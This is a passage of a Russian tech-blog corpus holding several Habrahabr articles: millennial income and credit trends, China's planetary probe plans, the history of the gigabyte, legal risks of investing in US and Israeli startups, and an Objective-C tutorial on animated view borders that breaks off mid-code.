60-70-х). Однако это планомерное падение стало еще более резким и ощутимым для рожденных в 1980-х, или, как мы называем их сегодня, «поколения миллениалов». В целом только половине из них удастся улучшить свои показатели заработка по сравнению со своими родителями и, еще меньше эта вероятность в случае сравнения с родственниками постарше. И судя по тому, какой жребий выпал на долю некоторых представителей этого поколения, даже цифра в 50 % для них может выглядеть оптимистично. Особенно туманны перспективы для большей части миллениалов из семей с доходами, подпадающими под категорию ниже 100 тысяч долларов в год. Эту историю, опять же, лучше всего иллюстрирует другой график из колонки Леонхардта. Рожденный в 1940 в средней американской семье ребенок имел 92% шанс заработать больше, чем его родители. (по вертикали — шанс заработать больше своих родителей, по горизонтали — доходно-возрастная группа, в которой родился тот или иной человек). У миллениалов, чьи родители состоят в «клубе 1 процента» все будет хорошо, благодаря полученному ими в лучших школах хорошему образованию и тем высокооплачиваемым работам, которые прилагаются к подобной родословной. Однако для членов семей с ежегодным доходом от 50 до 100 тысяч долларов, то есть половины населения США, дела обстоят значительно хуже. Лишь 44% этих молодых людей имеют шанс заработать больше денег, чем их родители-представители среднего класса. Что же касается 29% населения США, зарабатывающего менее 50 тысяч долларов в год на семью, то для них перспективы выглядят вообще очень мрачно. Эксперты предлагают разные объяснения ситуации, каждый из которых верен по-своему. Некоторые экономисты соотносят эту удручающую финансовую картину с ростом количества семей с одним родителем. Другие считают, что виноват кризис 2008 года, ведь многие миллениалы достигли работоспособного возраста именно во время него. Молодежь была согласна на более низкооплачиваемые работы, просто для того, чтобы вообще остаться занятыми. В итоге студент-искусствовед на последнем курсе шел на работу баристой в Starbucks, или на малую ставку в и без того недоедающую команду какого-нибудь стартапа. Ну, а другие сверстники оставались в образовательных учреждениях подольше, если не могли найти даже нечто подобное. Большая часть этих миллениалов работает согласно модели «разовой экономики» или «гигономики» и многих из них это даже очень устраивает. Как бы то ни было, говорят эксперты, миллениалам придется как следует потрудиться, чтобы устранить накопившийся за последние 8 лет дефицит доходов (а некоторым из них надо будет еще оплатить дополнительный долг по студенческим кредитам). На другом конце этого диапазона хорошо образованные индивиды получат высокооплачиваемые работы, по мере того, как технологии будут и дальше выходить на новый уровень, изменяя как должностные обязанности, так и требования в областях, где некогда традиционные бизнесы нанимали огромные группы людей и платили им высокие зарплаты. Все это, как указывает Четти в своей работе, происходит на фоне снижения роста ВВП, тогда как темпы повышения производительности находятся на уровне своего исторического минимума. Экономике придется показать более шести процентов ежегодного роста, чтобы компенсировать текущие тенденции и помочь миллениалам, пишет Четти. Достичь подобного показателя, по мнению наиболее разумных экономистов, практически невозможно. Получающийся в результате разрыв в производительности не способны объяснить даже самые светлые экономические умы, не говоря уже о предложении выхода из ситуации. Но нет никаких сомнений, что разрыв этот существует, делая еще более неизбежным тот факт, что финансовое будущее миллениалов будет отличаться от того, что ранее получали их родители и деды. Но мы оставим споры по поводу норм и политики. Вместо этого, давайте лучше рассмотрим возможные последствия столь масштабного снижения покупательской способности для платежного, розничного и коммерческого сегментов. Дайте нам факты Мы все читали те же истории и слышали те же анекдоты: у миллениалов на шее висит ярмо заоблачных долгов, они не покупают автомобили и дома, у них нет кредитных карт, они не откладывают деньги и меняют работы так, словно завтра не наступит никогда. А кроме того, они идеальные заемщики и вообще цель, на которую следует делать ставку финтеху, платежной индустрии и ритейлу. Вот как все это выглядит в цифрах. По данным Национальной ассоциации риелторов, показатель владения недвижимостью среди лиц до 35 лет — в этом возрасте обычно происходит первая покупка — снизился с характерных для этой возрастной группы 43% в 2005 году до 36% в настоящее время. Возраст впервые покупающих недвижимость людей также ползет вверх. Если раньше среднестатистический профиль такого покупателя выглядел, как женатый мужчина (замужняя женщина) 29 лет, то теперь этот покупатель не женат (не замужем) и ему (ей) 33 года. И все это несмотря на то что стоимость аренды сейчас превышает выплаты по ипотеке, а ставки кредитования находятся на своих исторических минимумах. Суть проблемы заключается не в отсутствии желания обладать своей недвижимостью, говорят эксперты. Все дело, прежде всего, в нежелании делать первый взнос, а кроме того — в нежелании выполнять требования кредитора, на основании которых выдается ипотека. Обладающие не высоким кредитным рейтингом, скачущие с одной работы на другую, склонные к разовым подработкам миллениалы, перспективы будущих заработков которых играют против них же самих, заставляют кредиторов — тех самых, которые в 1970 году предсказывали почти двукратный рост прибыльности ипотечных выплат в наше время — изрядно понервничать. И поскольку большинство покупателей, впервые обращающиеся к риелторам, не состоят в браке, то свадьба и семья также отодвигаются все дальше. Отсутствие имущества (или брака и семьи), конечно же, означает и отсутствие связанных с ними затрат на ремонт и обустройство дома, страховку, или лавины расходов на детские вещи и других препятствий на пути к осуществлению американской мечты и созданию семьи. То же верно и в отношении владения автомобилями — весьма редкого в среде миллениалов явления. Всего 26% из них выплачивают займы на покупку автомобиля и еще меньшее представителей этого поколения покупают автомобили без кредитов. Конечно, с учетом того, что поездки в UberX и Lyft из одной точки города в другую стоят всего несколько баксов, покупка машины, вложение в нее средств и уход за ней могут показаться бессмысленным занятием. Те же у кого есть машины не пытаются от них избавиться, но стараются рефинансировать заем, чтобы снизить ежемесячные выплаты. И, конечно, нельзя забывать про кредитные карты, на которые приходится 36% всего потребительского долга. Родители миллениалов наверняка пользовались именно ими в качестве инструмента достижения своей американской мечты. А вот в среде самих миллениалов лишь треть имеют кредитные карты, то есть, иными словами, 67% представителей этого поколения ими не пользуются. Если же говорить о тех, кто это делает, то средний размер баланса на картах составляет примерно 5800 долларов и 60% из них переносят выплату части ежемесячного долга на следующий месяц, тогда как среди остальных обладателей кредитных карт, это делают 47%. Некоторые миллениалы не хотят выпускать кредитную карту, боясь влипнуть в слишком большой долг, но большинство из них просто не могут ее получить. Малый кредитный рейтинг часто считается главной причиной отказов, но на самом деле это далеко не всегда так. В отличие от своих родителей или дедов, которые могли доказать что смогут заработать много в перспективе, предлагая банкам здоровый с точки зрения риска кредитный профиль, миллениалы просто не могут этого сделать. Банки видят эти тенденции. Они понимают, что миллениалы, с одной стороны, более склонны оставлять частично непогашенную задолженность (и им это нравится), но с другой — они могут вообще не справиться с выплатами по кредитам (а вот это уже плохо для кредитора). И в то же время банкиры понимают, что пиковый размер долга по кредитной карте обычно приходится на возрастную группу 45–54 лет, в которую миллениалы войдут только через десять лет. Без выпуска карт, или перспектив роста заработной платы, кредиторы не смогут всерьез рассчитывать на миллениалов и на то, что они смогут принести им такие же доходы от кредитования, как раньше. Больше вопросов, чем ответов К примеру, как понять, что миллениал действительно хороший заемщик? Если дело не в перспективе долгосрочных доходов, то как тогда банки и ритейлеры определяют платежеспособность таких клиентов? Уступит ли традиционная, основанная на применении кредитных карт модель место новой транзакционной модели, когда всякий риск или лимит оцениваются в рамках каждой отдельной покупки или оплаты? Кто будет следить за процессом увеличения лимита и какая инфраструктура необходима чтобы поддержать такую модель разового разрешения на получение займа? Появятся ли новые игроки, предлагающие отличные от привычных методы оценки долга миллениалов? Как будут приспосабливаться агентства оценки кредитных рейтингов ко всем этим изменениям? А еще не стоит забывать и про оплот американской мечты — ипотеку на приобретение дома. Как нужно будет изменить эту модель займов? В текущей ситуации будет недостаточно просто предложить миллениалам полностью цифровое приложение для выплаты ипотеки, без каких-либо изменений основополагающих моментов в профилях таких заемщиков. Их нестабильность в трудоустройстве и нежелание делать первичные взносы превращает их в плохих ипотечных заемщиков. Кредиторы, будь то банки или альтернативные организации, выдают займы только тем, кто, по их мнению, сможет их вернуть. Приведет ли это к росту популярности инновационных решений, помогающих миллениалам экономить или изменяющих структуру ипотеки и правила ее погашения? Банки, очевидно, тщательно обдумывают как еще, помимо кредитования, они могут обслужить эту группу населения. А миллениалам, конечно, все равно будут нужны банковские услуги. В какой бы форме они ни оказывались — традиционной, или в виде финтех и цифровых решений — молодые люди всегда будут нуждаться в простых инструментах хранения средств, вероятно, также с возможностью взять их в долг или сэкономить. Ритейлерам, в свою очередь, придется смириться с реальностью, которая заключается в том, что лишь треть клиентов-миллениалов, посещающих их магазины носят с собой кредитные карты. По вполне очевидным причинам, программы лояльности пользуются у миллениалов большим спросом, как и бонусные баллы и промо-акции. Однако средства оплаты таких покупок, будут скорее дебетовыми, нежели какими-либо другими, что часто, по многим причинам, очень неудобно для мерчантов. Приведет ли эта ситуация к новым видам сотрудничества между банками, мерчантами и сервисами цифровых кошельков, направленное на обслуживание клиентов в новых реалиях? Придется ли ритейлерам искать новые способы увеличения кредитных лимитов для этой группы покупателей? Проглотят ли миллениалы наживку в виде брендированных дебетовых карт? И еще пища для размышлений. Одним из самых популярных за последнее время материалов на нашем ресурсе стала статья, посвященная программе лояльности Walmart layaway. Это программа приобрела особую популярность в 30-х годах во время Великой депрессии и по большей части потеряла свою актуальность в 80-х, когда особым спросом начали пользоваться кредитные карты. Неужели мы опять отправляемся назад в будущее? И еще несколько моментов в завершение Прежде всего, нам следует быть осторожными когда мы говорим о «миллениалах» в целом, поскольку на самом деле это широкая и вовсе не однородная группа людей. Даже несмотря на то, что 50% миллениалов не смогут обогнать своих родителей по уровню доходов, 50% сделают это, а крохотная часть тех, кто происходит из богатых семей в конечном счете будут обладать большой покупательной способностью и средствами. А вот ситуация с другими 50% действительно представляет для общества, платежных и коммерческих систем непростую задачу, решить которую будет не так просто. Следует также учитывать и другой факт, который заключается в том, что их родители из поколения «бейби бумеров» представляют собой самый состоятельный сегмент экономики с наиболее высокими показателями доходов за вычетом налогов. Эта группа людей имеет возможность тратить хорошо даже в преклонном возрасте. Старейшим «бумерам» сейчас исполняется 70, и они, вероятно, проживут дольше своих родителей. Детям-миллениалам с такими родителями, наверное, не нужно волноваться. Они оставят им в наследство достаточно средств. К сожалению, это неверно в случае большинства миллениалов. Их родители не настолько состоятельны и сами нуждаются в собственных средствах чтобы позаботиться о себе на протяжении своей, будем надеяться, долгой жизни. Поэтому если вы один из тех людей, которые жалеют, что им уже не 29, то, может быть, вам следует подумать снова.
https://habrahabr.ru/company/payonline/blog/312396/
habrahabr
Планов громадье: китайцы планируют отправить зонды на тёмную сторону Луны, Марс и Юпитер до 2030 года
['луна', 'космос', 'исследования', 'солнечная система', 'китай']
Источник: NASA/JPL-Caltech/Space Science Institute Космическая программа Китая развивается очень активно. Китайцы уже три раза отправляли к Луне зонды, собирая информацию о естественном...
Источник: NASA/JPL-Caltech/Space Science Institute Космическая программа Китая развивается очень активно. Китайцы уже три раза отправляли к Луне зонды, собирая информацию о естественном спутнике Земли. Интерес к Луне понятен — дело в том, что Китай рассматривает ее как источник редкого на Земле изотопа гелия — гелия-3 , который можно использовать для проведения «чистой» термоядерной реакции. Подсчитано, что 0,02 грамма гелия-3 выделяет энергии в ходе термоядерной реакции столько же, сколько выделяется ее при полном сжигании барреля нефти. Всего 40 тонн гелия-3 должно хватить для обеспечения США энергией на год. Интересуются китайцы и Марсом. В прошлом же году они заявили, а сейчас подтвердили намерение отправить на красную планету собственный ровер. Произойти это должно к 2020 году. Прототип марсохода уже был показан на международной аэрокосмической выставке в Чжухае. Через некоторое время Китай планирует отправить к Марсу еще одну миссию. Кроме того, специалисты КНР собираются запустить еще и зонд к Юпитеру. Проект по запуску ровера на Марс был одобрен правительством Китая в январе. По словам одного из руководителей космической программы страны У Яньхуа (Wu Yanhua), с тех проект значительно продвинулся. Согласно плану, марсианский аппарат должен будет изучать на Марсе почву, атмосферу, искать признаки наличия воды в регионе пребывания. «Сейчас мы завершили составление общего плана и начали разрабатывать необходимое для ровера оборудование», — заявил Яньхуа. Первое устройство, которое пошлют на Марс ученые Китая, будет состоять из трех компонентов. Это орбитальный аппарат, посадочной платформы и самого марсохода. Масса марсохода составит около 200 кг. Конструкция устройства будет включать 13 научных инструментов. Планируемый срок работы аппарата на Марсе — 92 дня. Время полета к Марсу составит около 7 месяцев. Возможный внешний вид марсохода, который сейчас разрабатывается китайцами После этого стартового проекта китайцы собираются запустить на Марс еще один ровер, уже большего размера. Он должен будет собирать образцы пород с поверхности и близлежащих к поверхности слоев. Основная цель посещения Марса, по словам представителей китайского космического агентства — проведение научных исследований, которые помогут ответить на вопросы о происхождении и эволюции Солнечной системы и поиск внеземной жизни. К 2030 году зонд отправят уже к Юпитеру, для изучения планеты-гиганта и ее лун. Но еще до конца 2017 года Китай пошлет к Луне автоматическую систему Чанъэ 5 для сбора образцов лунных пород. В 2018 году будет реализована еще одна миссия, основная задача которой — мягкая посадка на обратную сторону Луны. Если китайцам удастся осуществить задуманное, они станут первой нацией, кому удалось посадить аппарат на невидимую с Земли сторону ее естественного спутника. Несмотря на то, что в целом у китайцев все идет гладко, случаются и досадные технические неполадки. К примеру, в марте этого года некоторые СМИ Китая сообщали о потере связи с «Тяньгун-1». «Тяньгун-1» (кит. упр. 天宫一号 или «Небесный дворец — 1») — первый китайский космический аппарат класса орбитальной станции, созданный по «Проекту 921-2», именуемый как целевой модуль и предназначенный для отработки технологий сближения и стыковки космических аппаратов. «Тяньгун-1» стал первой не советской и не американской свободно летящей пилотируемой орбитальной станцией, меньшей по размерам, но аналогичной по функциям советским орбитальным станциям первого поколения «Салют» и «Алмаз». Сейчас связи со станцией нет, сама она должна войти в плотные слои земной атмосферы в конце второй половины 2017 года. Также китайские специалисты рассматривают возможность отправить человека на Луну к 2020 году, плюс отправить зонд к одному из трех наиболее опасных для земли астероидов. Само собой, все упирается в деньги — космическая индустрия очень дорого обходится правительствам своих стран (кстати, тут стоит вспомнить сверхэкономичный индийский марсианский зонд, цена которого в 75 млн долларов во много раз ниже аналогичных проектов других стран). Если будет достаточное финансирование со стороны правительства — Китай сможет выполнить задачи и сверх плана. Но, скорее всего, деньги пойдут на реализацию именно марсианской программы, после завершения лунного цикла проектов. Плюс, как уже говорилось выше, планируется отправка зонда к Юпитеру.
https://geektimes.ru/post/284176/
habrahabr
История гигабайта
['облачные вычисления', 'ит-инфраструктура', 'хранение данных']
Мы собирались опубликовать серьезную статью о сравнении ценовых политик облачных провайдеров, но решили, что предновогодняя неделя — не лучшее время для этого,...
Мы собирались опубликовать серьезную статью о сравнении ценовых политик облачных провайдеров, но решили, что предновогодняя неделя — не лучшее время для этого, поэтому сегодняшняя статья скорее для развлечения, чем для серьезных раздумий. Когда сегодня любой из нас думает о хранении персональных данных, проще всего ему мыслить в категориях гигабайта. Ваш телефон должен иметь память более 16 гигабайт (Гб) для хранения всех фотографий (использования iCloud или Google диск, записи контактов и так далее…), ваш ноутбук должен иметь как минимум 4 Гб оперативной памяти и 250 Гб пространства на жестком диске, чтобы считаться достойным. Все только и делают, что говорят о гигабайтах. И на то есть причина. Вчерашней версией терабайта по праву можно считать гигабайт. Иметь 10 ГБ хранилища еще не так давно считалось достаточным, чтобы хранить все данные до конца своих дней. Источник фото: pinterest.com Сейчас все изменилось, и даже в брелке места больше, чем на 2 гигабайта, да и стоит такое средство хранения как поездка туда-обратно на общественном транспорте. Но почему? Что так сильно изменилось в мире хранения, чтобы снизило ценность некогда мощного гигабайта до стоимости копеечного леденца? Заглянем в историю гигабайта. Что такое гигабайт? Не имеет смысла говорить об истории гигабайта, не сказав, что это такое. Для большинства эта информация может быть лишней (тогда просто пропустите этот раздел). Известно, что один гигабайт равен 1 000 000 000 байт (префикс «гига» означает 10⁹, согласно международной системе единиц). Удивительно, что гигабайт имеет и второе определение: 1 073 741 824 байт. Как может одно понятие означать две совершенно разные цифры? Дело в десятичной и двоичной системе исчисления. В десятичной системе 1 ГБ = 1,000,000,000 байт. Это определение обычно используется для определения размера жесткого диска и скорости передачи данных. В двоичной системе 1 ГБ = 1 073 741 824 байт, и это равенство применяется для обозначения объема оперативной памяти, или ОЗУ. Источник фото: lycett-king .com Любого среднестатистического пользователя ставит в тупик ситуация, когда он покупает компьютер Windows с жестким диском на 500 Гб, а придя домой обнаруживает доступными только 465 ГБ, и, конечно, считает себя обманутым. А ведь это всего лишь цифра в двоичной системе! Чтобы это исправить, международная система величин стандартизировала бинарные префиксы и приравняла их к 1024. С таким префиксом 1 ГБ приблизительно равен 1 гибибайту. Что такое Гибибайт? С этого момента все становится несколько более запутанным. Отметим, что этот параграф — просто для развлечения, ведь гибибайты никто не использует, хотя они и могут пригодиться. 1 ГБ равен прибл. 1.074 Гиб, достаточно приблизительно, чтобы равенство 1 гигабайт = 1 гибибайту по-прежнему считалось верным. В основном, все сводится к приставке в 1024 байта для цифрового преобразования информации. Итак, возвращаясь к компьютеру с жестким диском в 500 Гб, стоит считать, что исчисление ведется в гибибайтах, но потребителю понятней стандартный гигабайт, а не такие эфемерные величины. Экскурс в историю Эта картинка из недавнего прошлого, и она уже фигурировала в одной из наших статей. Это 1956 год, жесткий диск для IBM компьютера 305 РАМАК. Он весит более тонны и может хранить всего 5 мегабайт (МБ). Мегабайт-не гигабайт. Сегодня мы можем вместить в 1000 раз большую емкость в устройство не больше скрепки. Дальше появились жесткие диски вроде того, который мы видем ниже: первый в мире жесткий диск на 1 Гб, IBM 3380 HAD, на фото ниже. Источник фото: numbersleuth.org Этот жесткий диск использовался для компьютера в 1980 году, а сам компьютер был размером с холодильник. Итак, нам потребовалось 23 года, чтобы перейти от 5 Мб к 1 ГБ, а что происходит в 2003? Каков был общий размер персонального запоминающего устройства в то время? В 2003 был изобретен Serial ATA с увеличенной скоростью записи и передачи данных, которые позволяют сократить размер и стоимость. Неудивительно, что средний размер жесткого диска в 2003 году составлял около 150–250 ГБ. Источник фото: aphelis.net Сегодня достаточно затруднительно найти компьютер с менее чем 1 терабайтом (1000 Гб) пространства на жестком диске (кстати, ноутбукам в этом плане еще догонять и догонять). Стоимость хранения Все эти байты данных должны стоить денег. Объемы хранилищ и цены развиваются в обратно пропорциональной зависимости — что тут еще можно сказать? Взгляните на график ниже. Источник фото:mkomo.com Это совершенно невероятно. За 35 лет назад стоимость 1 Гб сократилась с $1 млн. до $0.05. Потрясающе. Будущее хранения Как известно, эра физических средств хранения информации подходит к концу. Закон Мура. Расцвет облака и возможность передавать то, что мы привыкли скачивать, изменили представления о хранении, и гигабайт сегодня уже не имеет такого значения, как раньше. Снижение внимания к объему памяти происходит с одновременным ростом важности скорости передачи. И хотя дни мегабайта прошли, похоже, что гигабайт все-таки не будет смещен терабайтом, ведь существует слишком много способов мгновенного получения контента, поэтому у обычного пользователя нет потребности в хранилищах объемом 1 Тб и выше.
https://habrahabr.ru/company/cloud4y/blog/318712/
habrahabr
Юридические риски вложений в стартапы компаний США и Израиля
['Венчурные инвестиции', 'юридические риски', 'документы стартапа', 'Израиль']
Само по себе вложение в стартап является высокорисковой инвестицией, и если дела пойдут плохо, не помогут никакие юридические документы. Также если идея окажется суперуспешной, доходов хватит,...
Само по себе вложение в стартап является высокорисковой инвестицией, и если дела пойдут плохо, не помогут никакие юридические документы. Также если идея окажется суперуспешной, доходов хватит, чтобы получить премию всем инвесторам. Юридические нюансы важны для промежуточных ситуаций, когда проект запущен и необходимо привлекать новые средства для развития либо двигаться в сторону выхода, например, через продажу стратегическому инвестору. Если стартап генерирует доход, важными становятся условия об участии инвесторов в распределении дохода. Юридическая инфраструктура США и Израиля довольно развита и позволяет защитить интересы инвесторов, в связи с чем рынок стартапов в этих странах бурно развивается. При этом следует отметить, что не всегда основатели стартапов (founders) с вниманием относятся к формированию юридических документов, в связи с чем проведение юридической экспертизы могут затягивать сделки. В данной статье рассматриваются некоторые юридические риски гражданско-правового характера, связанные с инвестированием в покупку привилегированных акций (preferred shares) в компании США и Израиля. Нижеуказанные вопросы следует иметь ввиду как на стадии подписания соглашения об основных условиях договора (term sheet), так и на стадии подписания документов по сделке. Несмотря на то, что term sheet не является обязывающим документом (кроме некоторых положений, например, об арбитраже и конфиденциальности), впоследствии редки случаи, когда согласованные в нем условия пересматриваются. В подавляющем большинстве случаев все рассматриваемые ниже положения содержатся в уставе компании (Articles of Association) или в договоре о правах инвесторов (Investors Rights Agreement), некоторые указываются в договоре купли-продажи акций (Share Purchase Agreement). 1. Риск неверной оценки процента пакета, получаемого в результате инвестиций К проценту владения акций привязан не только размер дохода, но ряд существенных прав, например такие как преимущественное право выкупа и право на совместную продажу (раскрыты ниже), в связи с чем процент владения должен рассчитываться максимально точно. Все сведения по акционерному капиталу до привлечения и после привлечения инвестиций должны содержаться в подписываемых документах (pre-money evaluation и post-money evaluation). При этом следует обратить особое внимание не только непосредственно на акции, но и на другие инструменты, которые могут быть конвертированы в акции – займы (convertible loans), облигации (notes) и другие, а также зарезервированные акции, например, для передачи персоналу в качестве бонуса (pool), брокерам, привлекающим средства, по выданным гарантиям (warranties) и другое. Оптимально, чтобы все иные инструменты до привлечения инвестиций были бы конвертированы в обыкновенные акции, что позволит избежать путаницы при расчете процента владения. 2. Риск неверной оценки пакета после конвертации Понимание процента, получаемого в процессе конвертации, имеет существенное значение для оценки возможного дохода при наступлении событий, с которыми связывается конвертация, а также для оценки размера пакета при голосовании на условиях as converted basis (то есть как если бы акции были конвертированы к моменту голосования). В последнем случае, например, неверная оценка может привести к невозможности назначения своего представителя в Совете директоров (Board). Также точное понимание количества акций после конвертации при некоторых условиях позволяет сделать более точный выбор при выходе: остаться в привилегированных акциях или произвести конвертацию в обыкновенные. 3. Риск размыва доли Для защиты инвестора от размытия его доли используются преимущественное право выкупа (preemptive rights) и антиразмывочные положения (anti-dilution provisions). Преимущественное право выкупа (preemptive rights) предоставляет инвестору право выкупа акций новых выпусков преимущественно перед новыми инвесторами, что позволяет ему сохранить долю владения в уставном капитале путем участия в последующем инвестировании. Это право не следует путать с правом преимущественного выкупа (rights of first refusal), предоставляемым компании и ее основателям – владельцам обыкновенных акций и компании, которое позволяет выкупать указанным лицам акции, продаваемые другими акционерами. В качестве альтернативы могут использоваться антиразмывочные положения (anti-dilution provisions), предоставляющие возможность автоматического сохранения доли при новом выпуске акций (full ratchet) или частичного сохранения, рассчитываемого по формуле (weighted average). Бывают и комбинированные варианты, предусматривающие как preemptive rights, так и anti-dilution provisions, в связи с чем следует особо подробно изучать эти положения. 4. Риск неверного расчета дивидендов В случае, если целью стартапа является получение дивидендов, то для инвестора будет иметь существенное значение порядок их расчета и выплаты. Право на получение дивидендов в приоритетном порядке является отличительной особенностью владельцев привилегированнх акций. В стартапах наиболее распространены три варианта структурирования дивидендов: кумулятивные, некумулятивные и выплачиваемые после обыкновенных акций. Кумулятивные дивиденды выплачиваются при наступлении т.н. события ликвидации (liquidation event), к которому относится как продажа компании, так и ее ликвидация в рамках поглощения. Дивиденды накапливаются в течении реализации проекта и выплачиваются приоритетно перед дивидендами по обыкновенным акциям. Кумулятивные дивиденды могут иметь простой расчет, привязанный к цене акции, а также могут включать в расчет невыплаченные дивиденды за предыдущий период. Некумулятивные дивиденды выплачиваются только в случае, если Совет директоров принял решение об их выплате, при этом выплаты производятся приоритетно перед дивидендами по обыкновенным акциям. Третий способ распределения дивидендов предполагает, что выплата по привилегированным акциям осуществляется только после выплат по обыкновенным акциям. В таком случае предполагается, что привилегированные акции рассматриваются как конвертированные в обыкновенные для целей выплаты дивидендов. В чистом виде такой способ используется крайне редко, поскольку абсолютно невыгоден для владельцев привилегированных акций. Более часто встречается усеченный вариант, когда такое распределение дивидендов действует до какого-либо момента, например, до возврата инвестиций основателям компании. 5. Риск неучастия в продаже компании В процессе реализации проекта в компанию или ее основателям может поступить предложение о покупке компании. В такой ситуации владельцы привилегированных акций должны участвовать в доходах от такой продажи. Указанные отношения регулируются положениями о преференциях при продаже (distribution preference, liquidation preference) и о совместной продаже (co-sale). Преференции при продаже позволяют установить условия, при которых производятся выплаты владельцам привилегированных акций при ликвидации или продажи компании в рамках поглощения. Сумма выплат обычно привязана к цене приобретения одной акции, при этом устанавливается мультипликатор, позволяющий определить размер выплат. Мультипликатор может применяться одновременно с расчетом дивидендов. Например, может предусматриваться выплата в размере двойной стоимости акции плюс 7 процентов кумулятивных дивидендов простого расчета. Существуют два оcновных типа преференций при продаже: с участием (participating) и без участия (non-participating) в дополнительном распределении. Владельцы привилегированных акций с участием в дополнительном распределении имеют право не только на получение суммы, полагающейся им по расчету, но и дополнительной суммы после того как все преференции будут выплачены, как будто привилегированные акции были конвертированы в обыкновенные. Владельцы привилегированных акций без участия в дополнительном распределении не имеют прав претендовать на такие дополнительные выплаты. В то же время следует учитывать, что привилегированные акции могут быть конвертированы в обыкновенные, что позволяет владельцу привилегированных акций сделать выбор, какие права использовать при распределении: владельца привилегированных акций или владельца обыкновенных акций. Положения о совместной продаже (co-sale) регулируют порядок участия инвестора в продаже акций в случае, если основатели имеют намерение продать свои акции, и право преимущественного выкупа (right of first refusal) не применяется. Владельцы привилегированных акций в данной ситуации имеют право участвовать в продаже акций пропорционально выкупаемому пакету, при этом в случае, если в результате продажи основатели теряют контрольный пакет акций, то в большинстве случаев это рассматривается как liquidation event, влекущее применение положений о преференциях при продаже. 6. Риск невозможности передачи акций аффилированной структуре В большинстве документов содержится описание разрешенного приобретателя (permitted transferee), позволяющее передавать акции зависимым лицам. Следует обратить особое внимание на формулировку этих положений, а также на наличие иных ограничений (например, в качестве обязательного условия продажи может быть установлено согласие Совета директоров). 7. Риск изменения документов, устанавливающих права инвесторов В документах должно быть четко отражено, что положения, касающиеся инвесторов, не могут быть изменены без их согласия (например, в соответствующие статьи Устава и договора о правах инвесторов изменения могут вноситься только по решению большинства владельцев привилегированных акций). 8. Риск потери контроля над активами При оценке активов приобретаемой компании в случае, если имеются дочерние компании, необходимо обратить особое внимание на распределение этих активов внутри группы и проверить, обеспечивают ли корпоративные документы контроль за этими активами. Нередки ситуации, когда к покупке предлагаются акции материнской компании, которая является только только владельцем акций рабочей компании и сама не владеет какими-либо активами. В данном случае требуется проверить, контролируются ли эти активы как минимум советом директоров материнской компании. Поскольку при принятии решения об инвестировании в ту или иную компанию инвестор руководствуется прежде всего оценкой профессиональности ключевых сотрудников команды, подписываемые документы должны включать условия о неконкуренции (non-competition) и непереманивании (non-solicitation), также сответствующие соглашения должны юыть заключены между компанией и соответствующим ключевым персоналом. Отдельного исследования заслуживает проверка наличия прав интеллектуальной собственности на объекты, необходимые для реализации проекта. В том числе следует определить, какие есть лицензионные соглашения, поскольку компания может быть связана обязательствами по предоставлению прав третьим лицам или отдельным инвесторам.
https://habrahabr.ru/post/318714/
habrahabr
Анимированные Линии в iOS
['ios', 'core animation', 'разработка под ios', 'ui']
Доброго времени суток iOS-разработчики и им сочувствующие! Хочу поделиться с вами одной простой, но в то же время довольно симпатичной анимацией для текстовых полей и прочих вьюх на iOS. Думаю,...
Доброго времени суток iOS-разработчики и им сочувствующие! Хочу поделиться с вами одной простой, но в то же время довольно симпатичной анимацией для текстовых полей и прочих вьюх на iOS. Думаю, каждый, кто хотя бы мельком сталкивался с CALayer и Core Animation вообще, знает об этих возможностях, а вот новичкам может быть интересно и натолкнет на изучение более глубоко Core Animation. Картинка для затравки: Для тех кто не любит читать, а испытывать в действии — ссылка на тестовый проект . Для всех остальных же — Начнем! Для тестов создаем новый проект Single View Application. Добавляем на основной View Controller новую View. Заголовок спойлера Создаем Referencing Outlet с именем 'panel' в класс ViewController. В viewDidLoad ViewController'а добавляем строчку: _panel.layer.cornerRadius = 5; Чтобы скруглить углы у прямоугольника. Запускаем — сейчас приложение выглядит так: На этом с Interface Builder мы закончили. Начинается собственно то ради чего мы здесь — анимация! Небольшой экскурс в Core Animation. Базовый класс отрисовки в iOS это CALayer, который предоставляет базовые возможности для анимации и отрисовки — как то перемещения, трансформации. В общем это что-то среднее между низкоуровневой отрисовкой через Core Graphics и более высокой в виде UIView. В нашем случаем нам интересен наследник CALayer — CAShapeLayer, в котором добавляется поддержка CGPath, а также сопутствующие методы для этого, как то заливка и работа со stroke (черта?). Итак. Создадим категорию, расширяющую класс UIView — UIView+AnimatedLines . Для начала добавим простой метод добавления анимированой обводки для VIew с использования CAShapeLayer. -(void)animateLinesWithColor:(CGColorRef)lineColor andLineWidth:(CGFloat)lineWidth animationDuration:(CGFloat)duration { } Создадим CAShapeLayer: CAShapeLayer* animateLayer = [CAShapeLayer layer]; animateLayer.lineCap = kCALineCapRound;// Конец и начало линии будут заокругленными animateLayer.lineJoin = kCALineJoinBevel;//Переход между линиями будет заоккругленный animateLayer.fillColor = [[UIColor clearColor] CGColor];//сам слой будет прозрачный animateLayer.lineWidth = lineWidth; animateLayer.strokeEnd = 0.0; Создадим UIBezierPath, в котором и будем рисовать обводку. UIBezierPath* path = [UIBezierPath new]; [path setLineWidth:1.0]; [path setLineCapStyle:kCGLineCapRound]; [path setLineJoinStyle:kCGLineJoinRound]; Дальше простая геометрия — рисуем линии вдоль границы нашей вьюшки (много кода, бессмысленного и беспощадного): CGRect bounds = self.layer.bounds;//Границы нашей вью CGFloat radius = self.layer.cornerRadius;// определяем есть ли у вьюшки скругленные края CGPoint zeroPoint = bounds.origin; //Начальная точка BOOL isRounded = radius>0; if(isRounded) { zeroPoint.x = bounds.origin.x+radius; //Есть края скругленные - начинаем не с самого угла, а с места, где заканчивается скругленный угол. } [path moveToPoint:zeroPoint];//Передвигаем курсор в начальную позицию //Далее проходимся по всем 4 сторонам. Начинаем сверху CGPoint nextPoint = CGPointMake(bounds.size.width, 0); if(isRounded) { nextPoint.x-=radius; } [path addLineToPoint:nextPoint]; if(isRounded) { [path addArcWithCenter:CGPointMake(nextPoint.x, nextPoint.y+radius) radius:radius startAngle:-M_PI_2 endAngle:0 clockwise:YES];//Если есть скругления - рисуем дугу. } //Правая грань nextPoint = CGPointMake(bounds.size.width, bounds.size.height); if(isRounded) { nextPoint.y-=radius; } [path addLineToPoint:nextPoint]; if (isRounded) { [path addArcWithCenter:CGPointMake(nextPoint.x-radius, nextPoint.y) radius:radius startAngle:0 endAngle:M_PI_2 clockwise:YES]; } //Нижняя грань nextPoint = CGPointMake(0, bounds.size.height); if(isRounded) { nextPoint.x +=radius; } [path addLineToPoint:nextPoint]; if (isRounded) { [path addArcWithCenter:CGPointMake(nextPoint.x, nextPoint.y-radius) radius:radius startAngle:M_PI_2 endAngle:M_PI 